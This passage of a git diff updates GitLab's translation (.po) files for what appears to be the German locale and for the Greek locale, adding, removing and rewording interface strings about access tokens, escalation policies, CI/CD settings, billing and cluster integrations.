msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr "Deine Projekte (Standard)"
msgid "Your Projects' Activity"
msgstr "Aktivitäten deiner Projekte"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Deine SSH-Schlüssel (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr "Deine Projekte"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr "konnte den privaten Schlüssel nicht lesen, ist die Passphrase korrekt?"
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr "aktiviert"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "Gruppe"
@@ -39060,6 +38895,9 @@ msgstr "Merge"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Merge fehlgeschlagen."
@@ -39096,9 +38934,6 @@ msgstr "Weitere Informationen"
msgid "mrWidget|Open in Web IDE"
msgstr "In Web-IDE öffnen"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "Pipeline blockiert. Die Pipeline für diesen Merge-Request erfordert eine manuelle Aktion um fortzufahren"
-
msgid "mrWidget|Plain diff"
msgstr "Unformatiertes Diff"
@@ -39159,8 +38994,8 @@ msgstr "Der HEAD des Quellbranches wurde kürzlich geändert. Bitte lade die Sei
msgid "mrWidget|The source branch has been deleted"
msgstr "Der Quellbranch wurde gelöscht"
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
-msgstr "Der Quellbranch ist %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} dem Zielbranch"
+msgid "mrWidget|The source branch is %{link} the target branch"
+msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "Der Quellbranch wird gerade gelöscht"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr "muss nach dem Anfangsdatum liegen"
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr "%{item}, und %{lastItem}"
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr "Tag-Name"
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr "die folgenden Ticket(s)"
@@ -39688,6 +39532,9 @@ msgstr "Blob anschauen"
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/el_GR/gitlab.po b/locale/el_GR/gitlab.po
index 279285abec6..041833c1e3f 100644
--- a/locale/el_GR/gitlab.po
+++ b/locale/el_GR/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: el\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:38\n"
+"PO-Revision-Date: 2021-07-01 21:22\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
